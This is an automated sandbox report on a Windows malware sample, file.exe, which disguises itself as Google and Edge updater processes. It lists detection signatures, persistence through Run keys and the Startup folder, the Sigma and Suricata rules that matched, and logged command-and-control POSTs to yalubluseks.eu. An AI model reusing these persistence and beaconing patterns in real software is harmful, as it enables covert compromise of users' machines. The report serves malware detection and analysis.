Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524705
MD5:	cdb17e17bc4e4d51fde6a4620cec014c
SHA1:	c184c6c58a66555685be713dcd2d11e6f0af7c37
SHA256:	b10c9d5286c17c05f587660664ab7f5723817fc98343c02c6b91ccc562e1019f
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Creates multiple autostart registry keys

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: New RUN Key Pointing to Suspicious Folder

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7128 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

LKMService.exe (PID: 6480 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

GoogleUpdater.exe (PID: 3704 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" --checker MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

LKMService.exe (PID: 6576 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

WerFault.exe (PID: 6336 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6576 -s 948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

GoogleUpdater.exe (PID: 5316 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

WerFault.exe (PID: 6092 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5316 -s 948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

LKMService.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

GoogleUpdater.exe (PID: 7124 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" MD5: CDB17E17BC4E4D51FDE6A4620CEC014C)

cleanup

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 7128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LKMService_fb6c211cefa74248b703266e5d81f6eb

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 7128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LKMService_fb6c211cefa74248b703266e5d81f6eb

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 7128, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_472749f636994be5bfcb24189b3266c5.lnk

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:52:22.284067+0200	2803305	3	Unknown Traffic	192.168.2.4	49730	104.26.13.205	80	TCP
2024-10-03T06:52:50.002947+0200	2803305	3	Unknown Traffic	192.168.2.4	49749	104.26.13.205	80	TCP
2024-10-03T06:52:58.253241+0200	2803305	3	Unknown Traffic	192.168.2.4	49753	104.26.13.205	80	TCP
2024-10-03T06:53:26.706160+0200	2803305	3	Unknown Traffic	192.168.2.4	49758	104.26.13.205	80	TCP
2024-10-03T06:53:28.096804+0200	2803305	3	Unknown Traffic	192.168.2.4	49760	104.26.13.205	80	TCP
2024-10-03T06:53:34.768713+0200	2803305	3	Unknown Traffic	192.168.2.4	49763	104.26.13.205	80	TCP
2024-10-03T06:53:36.121497+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	104.26.13.205	80	TCP
2024-10-03T06:53:41.940710+0200	2803305	3	Unknown Traffic	192.168.2.4	49770	104.26.13.205	80	TCP
2024-10-03T06:54:03.768921+0200	2803305	3	Unknown Traffic	192.168.2.4	49773	104.26.13.205	80	TCP
2024-10-03T06:54:05.441049+0200	2803305	3	Unknown Traffic	192.168.2.4	49775	104.26.13.205	80	TCP
2024-10-03T06:54:36.768983+0200	2803305	3	Unknown Traffic	192.168.2.4	49780	104.26.13.205	80	TCP
2024-10-03T06:54:41.566411+0200	2803305	3	Unknown Traffic	192.168.2.4	49785	104.26.13.205	80	TCP
2024-10-03T06:54:46.924616+0200	2803305	3	Unknown Traffic	192.168.2.4	49788	104.26.13.205	80	TCP
2024-10-03T06:54:53.534701+0200	2803305	3	Unknown Traffic	192.168.2.4	49792	104.26.13.205	80	TCP
2024-10-03T06:54:55.154634+0200	2803305	3	Unknown Traffic	192.168.2.4	49794	104.26.13.205	80	TCP
2024-10-03T06:55:10.831557+0200	2803305	3	Unknown Traffic	192.168.2.4	49797	104.26.13.205	80	TCP
2024-10-03T06:55:11.940926+0200	2803305	3	Unknown Traffic	192.168.2.4	49797	104.26.13.205	80	TCP
2024-10-03T06:55:20.659777+0200	2803305	3	Unknown Traffic	192.168.2.4	49801	104.26.13.205	80	TCP
2024-10-03T06:55:22.331566+0200	2803305	3	Unknown Traffic	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:26.644055+0200	2803305	3	Unknown Traffic	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:27.644138+0200	2803305	3	Unknown Traffic	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:27.831777+0200	2803305	3	Unknown Traffic	192.168.2.4	49806	104.26.13.205	80	TCP
2024-10-03T06:55:27.862920+0200	2803305	3	Unknown Traffic	192.168.2.4	49807	104.26.13.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: https://yalubluseks.eu/get_updatX	Virustotal: Detection: 7%			Perma Link
Source: https://yalubluseks.eu/receiP	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Virustotal: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Virustotal: Detection: 34%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 15%
Source: file.exe	Virustotal: Detection: 34%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.163:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb$_ source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: GoogleUpdater.exe, 00000009.00000002.2253480045.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbtq" source: GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: SHA1ows\mscorlib.pdb source: GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbL0 source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: ws\mscorlib.pdb) source: LKMService.exe, 00000003.00000002.2242706882.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: orlib.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp\EdgeUpdater	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49763 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49785 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49780 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49792 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49803 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49788 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49753 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49807 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49806 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 104.26.13.205:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49773 -> 104.26.13.205:80

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
